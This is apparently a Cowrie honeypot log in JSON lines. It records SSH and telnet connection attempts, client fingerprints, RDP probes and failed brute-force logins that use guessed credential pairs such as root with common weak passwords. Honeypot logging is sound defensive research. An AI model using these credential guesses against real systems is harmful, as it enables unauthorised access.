{"eventid":"cowrie.login.failed","username":"kami","password":"kami1234","message":"login attempt [kami/kami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:47.593556Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami12345","message":"login attempt [kami/kami12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:48.678534Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:49.763850Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":37080,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e993315aef2","protocol":"ssh","message":"New connection: 87.251.79.125:37080 (10.17.0.5:22) [session: 3e993315aef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:11.271641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:11.276438Z","src_ip":"87.251.79.125","session":"3e993315aef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:11.347877Z","src_ip":"87.251.79.125","session":"3e993315aef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"david","message":"login attempt [root/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:11.561389Z","src_ip":"87.251.79.125","session":"3e993315aef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:12.635337Z","src_ip":"87.251.79.125","session":"3e993315aef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53500,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b326fb7ac67","protocol":"ssh","message":"New connection: 103.122.221.179:53500 (10.17.0.5:22) [session: 0b326fb7ac67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:37.038517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:37.042884Z","src_ip":"103.122.221.179","session":"0b326fb7ac67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:37.304829Z","src_ip":"103.122.221.179","session":"0b326fb7ac67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"214365","message":"login attempt [root/214365] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:38.093605Z","src_ip":"103.122.221.179","session":"0b326fb7ac67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:39.361036Z","src_ip":"103.122.221.179","session":"0b326fb7ac67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49381,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6354546744","protocol":"ssh","message":"New connection: 152.42.212.128:49381 (159.203.135.109:22) [session: fc6354546744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:50.568166Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:50.572746Z","src_ip":"152.42.212.128","session":"fc6354546744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:16:50.576519Z","src_ip":"152.42.212.128","session":"fc6354546744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47846,"dst_ip":"10.17.0.5","dst_port":23,"session":"34e07d7ee67b","protocol":"telnet","message":"New connection: 192.119.13.58:47846 (10.17.0.5:23) [session: 34e07d7ee67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:01.202744Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":56274,"dst_ip":"10.17.0.5","dst_port":22,"session":"2099762f89c4","protocol":"ssh","message":"New connection: 176.32.39.21:56274 (10.17.0.5:22) [session: 2099762f89c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:44.926517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:44.931600Z","src_ip":"176.32.39.21","session":"2099762f89c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:45.053803Z","src_ip":"176.32.39.21","session":"2099762f89c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20012001","message":"login attempt [root/20012001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:45.412614Z","src_ip":"176.32.39.21","session":"2099762f89c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:46.534265Z","src_ip":"176.32.39.21","session":"2099762f89c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.86308550834656,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:17:52.065701Z","src_ip":"192.119.13.58","session":"34e07d7ee67b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57208,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f45b1189d44","protocol":"ssh","message":"New connection: 167.172.81.52:57208 (159.203.135.109:22) [session: 4f45b1189d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:06.761358Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:06.766569Z","src_ip":"167.172.81.52","session":"4f45b1189d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:06.770406Z","src_ip":"167.172.81.52","session":"4f45b1189d44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb1fe5a107e","protocol":"ssh","message":"New connection: 80.94.92.186:39710 (159.203.135.109:22) [session: ffb1fe5a107e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:07.499766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:07.575918Z","src_ip":"80.94.92.186","session":"ffb1fe5a107e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:07.774057Z","src_ip":"80.94.92.186","session":"ffb1fe5a107e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:08.485714Z","src_ip":"80.94.92.186","session":"ffb1fe5a107e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:09.699898Z","src_ip":"80.94.92.186","session":"ffb1fe5a107e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ff3be2321f","protocol":"ssh","message":"New connection: 103.153.68.219:53968 (10.17.0.5:22) [session: 00ff3be2321f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:37.683338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:37.687794Z","src_ip":"103.153.68.219","session":"00ff3be2321f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:37.933297Z","src_ip":"103.153.68.219","session":"00ff3be2321f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa111","message":"login attempt [root/aaa111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:38.668021Z","src_ip":"103.153.68.219","session":"00ff3be2321f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:18:39.916269Z","src_ip":"103.153.68.219","session":"00ff3be2321f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41816,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2465619219","protocol":"telnet","message":"New connection: 192.119.13.58:41816 (10.17.0.5:23) [session: eb2465619219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:03.009704Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":54506,"dst_ip":"10.17.0.5","dst_port":22,"session":"d09ff7867be3","protocol":"ssh","message":"New connection: 103.82.132.16:54506 (10.17.0.5:22) [session: d09ff7867be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:34.124791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:34.129442Z","src_ip":"103.82.132.16","session":"d09ff7867be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:34.385505Z","src_ip":"103.82.132.16","session":"d09ff7867be3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"59mile","message":"login attempt [root/59mile] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:35.180130Z","src_ip":"103.82.132.16","session":"d09ff7867be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:36.440209Z","src_ip":"103.82.132.16","session":"d09ff7867be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.99106979370117,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:43.000652Z","src_ip":"192.119.13.58","session":"eb2465619219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35852,"dst_ip":"10.17.0.5","dst_port":22,"session":"59d1892141d5","protocol":"ssh","message":"New connection: 193.37.70.224:35852 (10.17.0.5:22) [session: 59d1892141d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:44.135901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:44.139603Z","src_ip":"193.37.70.224","session":"59d1892141d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:44.233630Z","src_ip":"193.37.70.224","session":"59d1892141d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qq","message":"login attempt [root/1111qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:44.513709Z","src_ip":"193.37.70.224","session":"59d1892141d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:19:45.637234Z","src_ip":"193.37.70.224","session":"59d1892141d5","protocol":"ssh"}
